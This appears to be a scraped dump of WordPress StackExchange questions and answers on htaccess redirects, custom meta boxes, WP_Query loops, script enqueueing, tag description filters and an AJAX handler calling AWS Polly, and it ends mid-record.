Notice: register\_sidebar was called incorrectly. No id was set in the arguments array for the "Contact Top" sidebar. Defaulting to "sidebar-3". Manually set the id to "sidebar-3" to silence this notice and keep existing sidebar content. Please see Debugging in WordPress for more information. (This message was added in version 4.2.0.) in /home/incentiv/public\_html/wp-includes/functions.php on line 4147 | Assuming you have changed your permalinks in WordPress (under Settings > Permalinks), as mentioned earlier, then you can redirect your old URLs en masse (in order to preserve SEO) with something like the following at the top of your `.htaccess` file, using mod\_rewrite:
```
RewriteRule ^([\w-]+)-\d{7,}\.html$ /$1/ [R=302,L]
```
This will redirect URLs of the form `/%postname%-%monthnum%%year%%post_id%.html` to `/%postname%/`, assuming your *post name* is limited to the characters `A-Z`, `a-z`, `0-9`, `_`, `-`.
As noted above, this must go *before* your WordPress front-controller (ie. before the `# BEGIN WordPress` section), at the top of your `.htaccess` file.
Note also, that this is currently a temporary (302) redirect. Change the `302` to `301` (permanent) only once you have tested that this is working OK. This is to avoid any problems with browser caching. |
302,986 | <p>I have created custom post type named as freebie in that i have created a custom meta section in that added a input field. Which is not storing the data which entered in that field also not displaying the values entered in that field. I have attached the coding.</p>
<pre><code>function adding_freebie_metabox($post) {
add_meta_box(
'my-meta-box'
, __('Freebie extra deatails', 'lwprjs')
, 'render_my_freebie_metabox'
, 'freebie'
, 'normal'
, 'default'
);
}
add_action('add_meta_boxes_freebie', 'adding_freebie_metabox');
// Add field
function render_my_freebie_metabox($meta_id) {
// make sure the form request comes from WordPress
wp_nonce_field(basename(__FILE__), 'freebie_meta_box_nonce');
?>
Enter freebie details such as URL of download and also demo URL
<table class="form-table">
<tbody>
<tr>
<th><label for="freebie-demo">Demo URL</label></th>
<td><input style="width: 100%" id="freebie-demo" name="freebie-demo"
type="text"
value="<?php get_post_meta( $post->ID, $meta_field['freebie-demo'], true ); ?>"></td>
</tr>
</tbody>
</table>
<?php
}
function food_save_meta_box_data($post_id) {
// verify meta box nonce
if (!isset($_POST['freebie_meta_box_nonce']) || !wp_verify_nonce($_POST['freebie_meta_box_nonce'], basename(__FILE__))) {
return;
}
// return if autosave
if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {
return;
}
// Check the user's permissions.
if (!current_user_can('edit_post', $post_id)) {
return;
}
// store custom fields values
// cholesterol string
if (isset($_REQUEST['freebie-demo'])) {
update_post_meta($post_id, '_freebie_demo', sanitize_text_field($_POST['freebie-demo']));
}
}
add_action('save_post_freebie', 'food_save_meta_box_data');
</code></pre>
| [
{
"answer_id": 303002,
"author": "Diana D Jensen",
"author_id": 135288,
"author_profile": "https://wordpress.stackexchange.com/users/135288",
"pm_score": 0,
"selected": false,
"text": "<p>So basically you want to change the URL structure and then redirect the old URLs to the new ones?</p>\n\n<p>As noted by MrWhite, you change the premalink structure in WordPress, under Settings->Permalinks.</p>\n\n<p>Once you have changed them, you can redirect the old URLs one by one by adding this command and using your real URLs:</p>\n\n<p>RedirectPermanent /old-file.html <a href=\"http://www.domain.com/new-file\" rel=\"nofollow noreferrer\">http://www.domain.com/new-file</a></p>\n\n<p>You can either do this in .htaccess or in your control panel on the server, if you have such.</p>\n"
},
{
"answer_id": 303033,
"author": "MrWhite",
"author_id": 8259,
"author_profile": "https://wordpress.stackexchange.com/users/8259",
"pm_score": 2,
"selected": true,
"text": "<p>Assuming you have changed your permalinks in WordPress (under Settings > Permalinks), as mentioned earlier, then you can redirect your old URLs en masse (in order to preserve SEO) with something like the following at the top of your <code>.htaccess</code> file, using mod_rewrite:</p>\n\n<pre><code>RewriteRule ^([\\w-]+)-\\d{7,}\\.html$ /$1/ [R=302,L]\n</code></pre>\n\n<p>This will redirect URLs of the form <code>/%postname%-%monthnum%%year%%post_id%.html</code> to <code>/%postname%/</code>, assuming your <em>post name</em> is limited to the characters <code>A-Z</code>, <code>a-z</code>, <code>0-9</code>, <code>_</code>, <code>-</code>.</p>\n\n<p>As noted above, this must go <em>before</em> your WordPress front-controller (ie. before the <code># BEGIN WordPress</code> section), at the top of your <code>.htaccess</code> file.</p>\n\n<p>Note also, that this is currently a temporary (302) redirect. Change the <code>302</code> to <code>301</code> (permanent) only once you have tested that this is working OK. This is to avoid any problems with browser caching.</p>\n"
}
]
| 2018/05/08 | [
"https://wordpress.stackexchange.com/questions/302986",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143211/"
]
| I have created custom post type named as freebie in that i have created a custom meta section in that added a input field. Which is not storing the data which entered in that field also not displaying the values entered in that field. I have attached the coding.
```
function adding_freebie_metabox($post) {
add_meta_box(
'my-meta-box'
, __('Freebie extra deatails', 'lwprjs')
, 'render_my_freebie_metabox'
, 'freebie'
, 'normal'
, 'default'
);
}
add_action('add_meta_boxes_freebie', 'adding_freebie_metabox');
// Add field
function render_my_freebie_metabox($meta_id) {
// make sure the form request comes from WordPress
wp_nonce_field(basename(__FILE__), 'freebie_meta_box_nonce');
?>
Enter freebie details such as URL of download and also demo URL
<table class="form-table">
<tbody>
<tr>
<th><label for="freebie-demo">Demo URL</label></th>
<td><input style="width: 100%" id="freebie-demo" name="freebie-demo"
type="text"
value="<?php get_post_meta( $post->ID, $meta_field['freebie-demo'], true ); ?>"></td>
</tr>
</tbody>
</table>
<?php
}
function food_save_meta_box_data($post_id) {
// verify meta box nonce
if (!isset($_POST['freebie_meta_box_nonce']) || !wp_verify_nonce($_POST['freebie_meta_box_nonce'], basename(__FILE__))) {
return;
}
// return if autosave
if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {
return;
}
// Check the user's permissions.
if (!current_user_can('edit_post', $post_id)) {
return;
}
// store custom fields values
// cholesterol string
if (isset($_REQUEST['freebie-demo'])) {
update_post_meta($post_id, '_freebie_demo', sanitize_text_field($_POST['freebie-demo']));
}
}
add_action('save_post_freebie', 'food_save_meta_box_data');
``` | Assuming you have changed your permalinks in WordPress (under Settings > Permalinks), as mentioned earlier, then you can redirect your old URLs en masse (in order to preserve SEO) with something like the following at the top of your `.htaccess` file, using mod\_rewrite:
```
RewriteRule ^([\w-]+)-\d{7,}\.html$ /$1/ [R=302,L]
```
This will redirect URLs of the form `/%postname%-%monthnum%%year%%post_id%.html` to `/%postname%/`, assuming your *post name* is limited to the characters `A-Z`, `a-z`, `0-9`, `_`, `-`.
As noted above, this must go *before* your WordPress front-controller (ie. before the `# BEGIN WordPress` section), at the top of your `.htaccess` file.
Note also, that this is currently a temporary (302) redirect. Change the `302` to `301` (permanent) only once you have tested that this is working OK. This is to avoid any problems with browser caching. |
303,034 | <p>i want to show image gallery in archives.php or category.php. The featured image and text content is showing but not image gallery.
Below is the code inside category.php. I have tested to show one post from category 'blog'.</p>
<pre><code>$args = array(
'post_type' => 'post',
'post_status' => 'any',
'cat'=>3,
'meta_query'=>
array('relation'=>'AND',
array(
'key'=>'intro_post','value'=>'intro','type'=>'CHAR','compare'=>'LIKE'
)
)
);
$arr_posts = new WP_Query( $args );?>
<?php if ( $arr_posts->have_posts() ) : ?>
<?php while ( $arr_posts->have_posts() ) : $arr_posts->the_post(); ?>
<div class="entry-content">
<?php if (has_post_thumbnail()): ?>
<figure>
<?php the_post_thumbnail('full');?>
</figure>
<?php endif; ?>
<?php the_content(); ?>
</div><!-- .entry-content -->
<?php endwhile; ?>
<?php else : ?>
<?php get_template_part( 'template-parts/content', 'none' ); ?>
<?php endif;
wp_reset_query();
</code></pre>
| [
{
"answer_id": 303028,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 1,
"selected": false,
"text": "<p>I suspect what you actually want, is to have all content showing as being authored by the same person.</p>\n\n<p>So, simply create a 3rd user, and set it as the author of your posts. The revision log will keep track of who did what</p>\n\n<p>e.g. <a href=\"https://www.siteground.com/kb/change-author-post-wordpress/\" rel=\"nofollow noreferrer\">https://www.siteground.com/kb/change-author-post-wordpress/</a></p>\n"
},
{
"answer_id": 303031,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 0,
"selected": false,
"text": "<p>Your question is not completely clear, but I guess that you want two users in the backoffice, each with their own posts and editing rights, but represented as one user on the frontend. And if you decide otherwise, you want to be able to split them up again.</p>\n\n<p>The best way to do this is filtering the author information when generating frontend pages. Which information this is, depends on your theme, but it would at least involve <a href=\"https://developer.wordpress.org/reference/hooks/the_author/\" rel=\"nofollow noreferrer\"><code>the_author</code></a> filter, modifying the name as displayed on the page. Like this</p>\n\n<pre><code>add_filter ('the_author', 'wpse303025_change_author');\nfunction wpse303025_change_author ($display_name) {\n switch ($display_name) {\n case 'John' : $display_name = 'Frank'; break;\n case 'Jack' : $display_name = 'Frank'; break;\n }\n return $display_name;\n }\n</code></pre>\n\n<p>With this filter both John and Jack will be shown as Frank on the frontend, but you can reverse that by changing the filter.</p>\n\n<p>There will be more filters to install, such as <a href=\"https://developer.wordpress.org/reference/hooks/author_link/\" rel=\"nofollow noreferrer\"><code>author_link</code></a>. If you want an actual author page for 'Frank' you would probably need a user account with that name to keep things simple.</p>\n"
},
{
"answer_id": 303037,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 1,
"selected": false,
"text": "<p>What you want is a separation of users and \"user profile\", and the ability to associate user (humans) with user profiles.</p>\n\n<p>there is actually a demand for such a feature, and you are not the first to ask for something that when it is stripped to its core, end up being solved with such an abstraction. Problem is that there is no such intermediate abstraction layer in wordpress (nor any plugin AFAIK that provides it).</p>\n\n<p>You can create one yourself, by creating a \"user profile\" CPT, associate users with specific profile via their/its meta, and replace author related indications to derive the information from the user profile instead of the user itself.\nThis is not rocket science, but there are many small modification via filters that will need to be done, and obviously a fair amount of admin screens to manage it.</p>\n\n<p>Not a rocket science but not an afternoon project as well.</p>\n"
}
]
| 2018/05/08 | [
"https://wordpress.stackexchange.com/questions/303034",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/140858/"
]
| i want to show image gallery in archives.php or category.php. The featured image and text content is showing but not image gallery.
Below is the code inside category.php. I have tested to show one post from category 'blog'.
```
$args = array(
'post_type' => 'post',
'post_status' => 'any',
'cat'=>3,
'meta_query'=>
array('relation'=>'AND',
array(
'key'=>'intro_post','value'=>'intro','type'=>'CHAR','compare'=>'LIKE'
)
)
);
$arr_posts = new WP_Query( $args );?>
<?php if ( $arr_posts->have_posts() ) : ?>
<?php while ( $arr_posts->have_posts() ) : $arr_posts->the_post(); ?>
<div class="entry-content">
<?php if (has_post_thumbnail()): ?>
<figure>
<?php the_post_thumbnail('full');?>
</figure>
<?php endif; ?>
<?php the_content(); ?>
</div><!-- .entry-content -->
<?php endwhile; ?>
<?php else : ?>
<?php get_template_part( 'template-parts/content', 'none' ); ?>
<?php endif;
wp_reset_query();
``` | I suspect what you actually want, is to have all content showing as being authored by the same person.
So, simply create a 3rd user, and set it as the author of your posts. The revision log will keep track of who did what
e.g. <https://www.siteground.com/kb/change-author-post-wordpress/> |
303,105 | <p>I am having an issue with a <code>WP_query</code> loop (full code below).</p>
<p>Whenever I just run <code>echo $post->post_title</code> it prints out the title just nicely. </p>
<p>But if I try to do something like the following: <code>echo substr($post->post_title,0,1)</code> it can't display special characters such as <code>ø æ å</code>.
It is as if it <em>splits</em> the special character into two - what the?</p>
<p>I am saying it splits it because, if I try to run <code>echo substr($post->post_title,0,2)</code> (printing out 2 characters), it prints the character correctly, but only prints one.</p>
<p>Here's my full code for the loop:</p>
<pre><code><?php
$args = array(
'orderby' => 'post_title',
'order' => 'ASC',
'post_type' => 'ord',
'posts_per_page' => -1
);
$loop = new WP_query($args);
$mainArray = array_chunk($loop->posts, ceil(count($loop->posts) / 4)); // Array af arrays
foreach ($mainArray as $array) {
$first_letter = '';
echo "<div class='col ordbog-column'>";
foreach($array as $post) {
$current_letter = strtoupper(substr($post->post_title,0,1));
if($current_letter != $first_letter) {
echo "<h3 class='letter' id='letter_$current_letter'>$current_letter</h3>";
$first_letter = $current_letter;
}
$html = '<a href="'.get_permalink().'" class="ord">'.get_the_title().'</a><br/>';
echo $html;
}
echo "</div>";
}
</code></pre>
<p>How do I fix this loop so I can correctly display just one letter (regardless of which) as a headline over the content being listed?</p>
| [
{
"answer_id": 303028,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 1,
"selected": false,
"text": "<p>I suspect what you actually want, is to have all content showing as being authored by the same person.</p>\n\n<p>So, simply create a 3rd user, and set it as the author of your posts. The revision log will keep track of who did what</p>\n\n<p>e.g. <a href=\"https://www.siteground.com/kb/change-author-post-wordpress/\" rel=\"nofollow noreferrer\">https://www.siteground.com/kb/change-author-post-wordpress/</a></p>\n"
},
{
"answer_id": 303031,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 0,
"selected": false,
"text": "<p>Your question is not completely clear, but I guess that you want two users in the backoffice, each with their own posts and editing rights, but represented as one user on the frontend. And if you decide otherwise, you want to be able to split them up again.</p>\n\n<p>The best way to do this is filtering the author information when generating frontend pages. Which information this is, depends on your theme, but it would at least involve <a href=\"https://developer.wordpress.org/reference/hooks/the_author/\" rel=\"nofollow noreferrer\"><code>the_author</code></a> filter, modifying the name as displayed on the page. Like this</p>\n\n<pre><code>add_filter ('the_author', 'wpse303025_change_author');\nfunction wpse303025_change_author ($display_name) {\n switch ($display_name) {\n case 'John' : $display_name = 'Frank'; break;\n case 'Jack' : $display_name = 'Frank'; break;\n }\n return $display_name;\n }\n</code></pre>\n\n<p>With this filter both John and Jack will be shown as Frank on the frontend, but you can reverse that by changing the filter.</p>\n\n<p>There will be more filters to install, such as <a href=\"https://developer.wordpress.org/reference/hooks/author_link/\" rel=\"nofollow noreferrer\"><code>author_link</code></a>. If you want an actual author page for 'Frank' you would probably need a user account with that name to keep things simple.</p>\n"
},
{
"answer_id": 303037,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 1,
"selected": false,
"text": "<p>What you want is a separation of users and \"user profile\", and the ability to associate user (humans) with user profiles.</p>\n\n<p>there is actually a demand for such a feature, and you are not the first to ask for something that when it is stripped to its core, end up being solved with such an abstraction. Problem is that there is no such intermediate abstraction layer in wordpress (nor any plugin AFAIK that provides it).</p>\n\n<p>You can create one yourself, by creating a \"user profile\" CPT, associate users with specific profile via their/its meta, and replace author related indications to derive the information from the user profile instead of the user itself.\nThis is not rocket science, but there are many small modification via filters that will need to be done, and obviously a fair amount of admin screens to manage it.</p>\n\n<p>Not a rocket science but not an afternoon project as well.</p>\n"
}
]
| 2018/05/09 | [
"https://wordpress.stackexchange.com/questions/303105",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143295/"
]
| I am having an issue with a `WP_query` loop (full code below).
Whenever I just run `echo $post->post_title` it prints out the title just nicely.
But if I try to do something like the following: `echo substr($post->post_title,0,1)` it can't display special characters such as `ø æ å`.
It is as if it *splits* the special character into two - what the?
I am saying it splits it because, if I try to run `echo substr($post->post_title,0,2)` (printing out 2 characters), it prints the character correctly, but only prints one.
Here's my full code for the loop:
```
<?php
$args = array(
'orderby' => 'post_title',
'order' => 'ASC',
'post_type' => 'ord',
'posts_per_page' => -1
);
$loop = new WP_query($args);
$mainArray = array_chunk($loop->posts, ceil(count($loop->posts) / 4)); // Array af arrays
foreach ($mainArray as $array) {
$first_letter = '';
echo "<div class='col ordbog-column'>";
foreach($array as $post) {
$current_letter = strtoupper(substr($post->post_title,0,1));
if($current_letter != $first_letter) {
echo "<h3 class='letter' id='letter_$current_letter'>$current_letter</h3>";
$first_letter = $current_letter;
}
$html = '<a href="'.get_permalink().'" class="ord">'.get_the_title().'</a><br/>';
echo $html;
}
echo "</div>";
}
```
How do I fix this loop so I can correctly display just one letter (regardless of which) as a headline over the content being listed? | I suspect what you actually want, is to have all content showing as being authored by the same person.
So, simply create a 3rd user, and set it as the author of your posts. The revision log will keep track of who did what
e.g. <https://www.siteground.com/kb/change-author-post-wordpress/> |
303,108 | <p>I've ecountered many problems while creating my own WordPress Theme and this is not different. Except that I can't find a solution. I'm good with HTML and CSS, but I know little to nothing from JavaScript and JQuery.</p>
<p>I'm trying to apply the effect from <a href="https://codepen.io/ccrch/pen/yyaraz" rel="nofollow noreferrer">here</a> on my website. I'll find out whether this code works for me or not.</p>
<p>The problem is this. I've copied the HTML in the right place, I've copied the CSS in the right place. I've also copied the JavaScript to /assets/js/script.js</p>
<p>Using the proper function this script is enqueued in the functions.php file.</p>
<pre><code>function mytheme_scripts() {
wp_enqueue_script( 'script', get_template_directory_uri() . '/assets/js/script.js', true );
}
add_action ( 'wp_enqueue_scripts', 'mytheme_scripts');
</code></pre>
<p>I can see the file apearing in the head of my page but it doesnt seem to work. Now, it can be me adjusting things or editing the code, but according to the JavaScript there should be added a div with the class .code and that doesn't happen. That's how I can see that my file is correctly added but is not executing properly or at all.</p>
<p>And for the life of me and my little-known knowledge of JavaScript I can't figure out why.</p>
| [
{
"answer_id": 303135,
"author": "Adeel Nazar",
"author_id": 125394,
"author_profile": "https://wordpress.stackexchange.com/users/125394",
"pm_score": 3,
"selected": true,
"text": "<p>Your Js code should be inside document.ready function if jQuery is properly called by WordPress but $ sign not defined error occur you need to wrap your code with this.</p>\n\n<pre><code>jQuery(document).ready(function($){\n \"use strict\";\n\n //Your Js Code Here \n\n});\n</code></pre>\n"
},
{
"answer_id": 303146,
"author": "Chris Stage",
"author_id": 126366,
"author_profile": "https://wordpress.stackexchange.com/users/126366",
"pm_score": 0,
"selected": false,
"text": "<p>There are a couple things to consider with your script and how you enqueue within your theme.</p>\n\n<p><strong>Script names must be unique when enqueued</strong></p>\n\n<p>Consider that if you have a script named \"script\" and another script named \"script\" that wordpress will only choose one. It could be that \"script\" is taken and you may need to rename it.</p>\n\n<pre><code>function mytheme_scripts() {\n wp_enqueue_script( 'my_theme_script', get_template_directory_uri() . '/assets/js/script.js', true );\n}\nadd_action ( 'wp_enqueue_scripts', 'mytheme_scripts');\n</code></pre>\n\n<p><strong>jQuery runs in no-conflict mode with wordpress</strong></p>\n\n<p>This means that $ has not been defined as jQuery. Either replace all $ with jQuery or define jQuery inside of a function. For example with the codepen snippet you linked I would do the following:</p>\n\n<pre><code> (function( $ ) {\n 'use strict';\n\n $(function() {\n\n $('.tile')\n // tile mouse actions\n .on('mouseover', function(){\n $(this).children('.photo').css({'transform': 'scale('+ $(this).attr('data-scale') +')'});\n })\n .on('mouseout', function(){\n $(this).children('.photo').css({'transform': 'scale(1)'});\n })\n .on('mousemove', function(e){\n $(this).children('.photo').css({'transform-origin': ((e.pageX - $(this).offset().left) / $(this).width()) * 100 + '% ' + ((e.pageY - $(this).offset().top) / $(this).height()) * 100 +'%'});\n })\n // tiles set up\n .each(function(){\n $(this)\n // add a photo container\n .append('<div class=\"photo\"></div>')\n // some text just to show zoom level on current item in this example\n .append('<div class=\"txt\"><div class=\"x\">'+ $(this).attr('data-scale') +'x</div>ZOOM ON<br>HOVER</div>')\n // set up a background image for each tile based on data-image attribute\n .children('.photo').css({'background-image': 'url('+ $(this).attr('data-image') +')'});\n })\n\n }); //End Function\n\n\n\n })( jQuery );\n</code></pre>\n\n<p><strong>Troubleshooting</strong></p>\n\n<p>Use your browsers inspector window to see if there are console errors. You can also use this window to see what the sources are. So you can look within the sources to see if your JS file has correctly qued or not. Note that with JS and CSS files they're commonly cached by the browser and you will need to hard refresh to see changes sometimes!</p>\n\n<p>Hope this helps you solve it!</p>\n"
}
]
| 2018/05/09 | [
"https://wordpress.stackexchange.com/questions/303108",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143298/"
]
| I've ecountered many problems while creating my own WordPress Theme and this is not different. Except that I can't find a solution. I'm good with HTML and CSS, but I know little to nothing from JavaScript and JQuery.
I'm trying to apply the effect from [here](https://codepen.io/ccrch/pen/yyaraz) on my website. I'll find out whether this code works for me or not.
The problem is this. I've copied the HTML in the right place, I've copied the CSS in the right place. I've also copied the JavaScript to /assets/js/script.js
Using the proper function this script is enqueued in the functions.php file.
```
function mytheme_scripts() {
wp_enqueue_script( 'script', get_template_directory_uri() . '/assets/js/script.js', true );
}
add_action ( 'wp_enqueue_scripts', 'mytheme_scripts');
```
I can see the file apearing in the head of my page but it doesnt seem to work. Now, it can be me adjusting things or editing the code, but according to the JavaScript there should be added a div with the class .code and that doesn't happen. That's how I can see that my file is correctly added but is not executing properly or at all.
And for the life of me and my little-known knowledge of JavaScript I can't figure out why. | Your Js code should be inside document.ready function if jQuery is properly called by WordPress but $ sign not defined error occur you need to wrap your code with this.
```
jQuery(document).ready(function($){
"use strict";
//Your Js Code Here
});
``` |
303,117 | <p>I have a shortcode comprising:</p>
<pre><code>$tag = get_term_by( 'slug', 'sample-tag-slug', 'item_tags' );
echo tag_description( $tag->term_id );
</code></pre>
<p>I need to do a <code>str_replace</code> on the description, for which I guess I need to <code>apply_filters</code> - but have no idea how, despite an extensive search and a very large brain-fade.</p>
<p>UPDATE: because of the points raised in answers and comments, I'll add the full content of the shortcode below.</p>
<pre><code>$tag = get_term_by( 'slug', 'sample-tag_slug', 'item_tags' );
$description = tag_description( $tag->term_id );
echo str_replace( 'alt=""> ', 'alt=""><dl><dt>', $description ) . '</dt>';
$show_posts = new WP_Query(array( 'tax_query' => array(
array( 'taxonomy' => 'item_tags', 'field' => 'slug', 'terms' => array( 'sample-tag_slug' )
), ), 'post_type' => 'item', 'posts_per_page' => -1, 'order' => 'ASC' ) ); while ($show_posts->have_posts() ): $show_posts->the_post(); echo '<dd><a href="' . get_permalink() . '">' . get_the_title() . '</a></dd>' . "\n"; endwhile; wp_reset_postdata(); echo '</dl><hr />';
</code></pre>
<p>What I'm trying to do is, for a cpt and custom taxonomy, show the tag description and the linked-titles of posts so-tagged. (The str_replace is to add some html tags for formatting display.)</p>
<p>Although I know relatively (very!) little about this, I'm keen to learn - so if there's an optimal way I'll welcome suggestions. Thanks.</p>
| [
{
"answer_id": 303119,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 0,
"selected": false,
"text": "<p>There doesn't appear to be a filter for <code>tag_description()</code>, but there's nothing stopping you just using <code>str_replace()</code> when you output it:</p>\n\n<pre><code>$tag = get_term_by( 'slug', 'sample-tag-slug', 'item_tags' );\n$description = tag_description( $tag->term_id );\necho str_replace( 'search', 'replace', $description );\n</code></pre>\n"
},
{
"answer_id": 303122,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 1,
"selected": false,
"text": "<p>The filter is well hidden, but you can track it down from <a href=\"https://developer.wordpress.org/reference/functions/tag_description/\" rel=\"nofollow noreferrer\"><code>tag_description ($tag)</code></a>, which calls <a href=\"https://developer.wordpress.org/reference/functions/term_description/\" rel=\"nofollow noreferrer\"><code>term_description ($term=$tag, $taxonomy = 'post_tag')</code></a>, which in turn calls <a href=\"https://developer.wordpress.org/reference/functions/get_term_field/\" rel=\"nofollow noreferrer\"><code>get_term_field ('description', $tag, 'post_tag')</code></a>. And finally you get the call <a href=\"https://developer.wordpress.org/reference/functions/sanitize_term_field/\" rel=\"nofollow noreferrer\"><code>sanitize_term_field ('description', $tag->$description, $tag->tag_id, $tag->post_tag, 'display')</code></a>.</p>\n\n<p>Once you're in <a href=\"https://developer.wordpress.org/reference/functions/sanitize_term_field/\" rel=\"nofollow noreferrer\"><code>sanitize_term_field</code></a> you see a whole lot of filters. It looks like you need the last one, which would translate to <code>tag_description</code>, but given that I'm doing the parsing from the top of my head some debugging might be necessary.</p>\n"
},
{
"answer_id": 303124,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 0,
"selected": false,
"text": "<p>Why use <code>tag_description</code> at all, cut out the middle man and go straight to the source!</p>\n\n<pre><code>echo wp_kses_post( $tag->description );\n</code></pre>\n\n<p>Now you can do your <code>str_replace</code> directly, no filters necessary</p>\n"
}
]
| 2018/05/09 | [
"https://wordpress.stackexchange.com/questions/303117",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/103213/"
]
| I have a shortcode comprising:
```
$tag = get_term_by( 'slug', 'sample-tag-slug', 'item_tags' );
echo tag_description( $tag->term_id );
```
I need to do a `str_replace` on the description, for which I guess I need to `apply_filters` - but have no idea how, despite an extensive search and a very large brain-fade.
UPDATE: because of the points raised in answers and comments, I'll add the full content of the shortcode below.
```
$tag = get_term_by( 'slug', 'sample-tag_slug', 'item_tags' );
$description = tag_description( $tag->term_id );
echo str_replace( 'alt=""> ', 'alt=""><dl><dt>', $description ) . '</dt>';
$show_posts = new WP_Query(array( 'tax_query' => array(
array( 'taxonomy' => 'item_tags', 'field' => 'slug', 'terms' => array( 'sample-tag_slug' )
), ), 'post_type' => 'item', 'posts_per_page' => -1, 'order' => 'ASC' ) ); while ($show_posts->have_posts() ): $show_posts->the_post(); echo '<dd><a href="' . get_permalink() . '">' . get_the_title() . '</a></dd>' . "\n"; endwhile; wp_reset_postdata(); echo '</dl><hr />';
```
What I'm trying to do is, for a cpt and custom taxonomy, show the tag description and the linked-titles of posts so-tagged. (The str\_replace is to add some html tags for formatting display.)
Although I know relatively (very!) little about this, I'm keen to learn - so if there's an optimal way I'll welcome suggestions. Thanks. | The filter is well hidden, but you can track it down from [`tag_description ($tag)`](https://developer.wordpress.org/reference/functions/tag_description/), which calls [`term_description ($term=$tag, $taxonomy = 'post_tag')`](https://developer.wordpress.org/reference/functions/term_description/), which in turn calls [`get_term_field ('description', $tag, 'post_tag')`](https://developer.wordpress.org/reference/functions/get_term_field/). And finally you get the call [`sanitize_term_field ('description', $tag->$description, $tag->tag_id, $tag->post_tag, 'display')`](https://developer.wordpress.org/reference/functions/sanitize_term_field/).
Once you're in [`sanitize_term_field`](https://developer.wordpress.org/reference/functions/sanitize_term_field/) you see a whole lot of filters. It looks like you need the last one, which would translate to `tag_description`, but given that I'm doing the parsing from the top of my head some debugging might be necessary. |
303,130 | <p>I have a form on my wordpress page template --</p>
<pre><code><form id="pollyform" method="post">
<textarea name="pollytext" id="text"></textarea>
<input type="submit" id="savetext" name="savetext" value="save-text" />
</form>
</code></pre>
<p>I am trying to get the data from my textarea field and send to my script -- </p>
<pre><code>$(document).ready(function() {
$('#savetext').click(function(e){
// prevent the form from submitting normally
var txt = $("#text").val();
$.ajax ({
data: {
action: 'polly_pros',
pollytext: txt
},
type: 'post',
url: polpro.ajax_url,
success: function(data) {
console.log(data); //should print out the name since you sent it along
},
error: function() {
console.log("Error");
}
});
});
return false;
});
</code></pre>
<p>In my functions file I have my scripts setup to work -</p>
<pre><code>add_action( 'wp_enqueue_scripts', 'ajax_test_enqueue_scripts' );
function ajax_test_enqueue_scripts() {
wp_enqueue_script( 'pol', get_stylesheet_directory_uri() . '/pol.js', array(), '1.0.0', true );
wp_localize_script( 'pol', 'polpro', array(
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
</code></pre>
<p>however my php function isn't working --</p>
<pre><code>add_action('wp_ajax_polly_pros', 'polly_process');
function polly_process() {
// use \Aws\Polly\PollyClient; // this was moved to before get_header in my template page where my form is.
//require '/aws-autoloader.php'; // this was moved to before get_header in my template page where my form is.
$the_text = $_POST['pollytext'];
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
//echo $the_text;
$voice_id = "Joanna";
$text = $the_text;
$rate = "medium";
$is_download = false;
if(isset($_REQUEST['download']) && $_REQUEST['download']==1){
$is_download=true;
}
$config = array(
'version' => 'latest',
'region' => 'us-east-1',
'credentials' => [
'key' => 'keys',
'secret' => 'keys',
]
);
$client = new PollyClient($config);
$args = array(
'OutputFormat' => 'mp3',
'Text' => "<speak><prosody rate='$rate'>".str_replace("&","&amp;",urldecode ($text))."</prosody></speak>",
'TextType' => 'ssml',
'VoiceId' => $voice_id
);
$result = $client->synthesizeSpeech($args);
$resultData = $result->get('AudioStream')->getContents();
$size = strlen($resultData); // File size
$length = $size; // Content length
$start = 0; // Start byte
$end = $size - 1; // End byte
if(!$is_download) {
file_put_contents('test.mp3', $resultData);
} else {
file_put_contents('test.mp3', $resultData);
}
}
die();
}
</code></pre>
<p>When I put the php code directly in the same page as my template, it works but only the first time and then I cant update the text and resend the data, etc.</p>
<p>If I change my function code to something like this ---</p>
<pre><code>function polly_process() {
$the_text = $_POST['pollytext'];
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
echo $the_text;
}
}
</code></pre>
<p>I can see that its working and the value is echoed. My original polly_process code I want to use though is giving me this error when submitting the form --</p>
<pre><code>jquery.js:8625 POST /admin-ajax.php 500 ()
send @ jquery.js:8625
ajax @ jquery.js:8161
(anonymous) @ pol.js:8
dispatch @ jquery.js:4430
r.handle @ jquery.js:4116
pol.js:20 Error
</code></pre>
<p>when checking the console I can see this is highlighted in jquery.js ---</p>
<pre><code>// Do send the request (this may raise an exception)
xhr.send( options.hasContent && options.data || null );
</code></pre>
<p>I've checked debug.log and didnt find any relevant errors. So what am I missing?</p>
<p><strong>EDIT</strong></p>
<p>Checking the logs again I see this --</p>
<pre><code>Uncaught Error: Class 'PollyClient' not found
</code></pre>
<p>The reason though why I have this code --</p>
<pre><code> use \Aws\Polly\PollyClient;
require '/aws-autoloader.php';
</code></pre>
<p>in my template file before my header is because anywhere else it causes the site to crash. Specifically -</p>
<pre><code>use \Aws\Polly\PollyClient;
</code></pre>
<p>When I have that and my polly_process function directly in my template it works, but it's not dynamic like I need with the ajax. </p>
<p>So how I would be able to use that code with the ajax function?</p>
| [
{
"answer_id": 303126,
"author": "Felipe Elia",
"author_id": 122788,
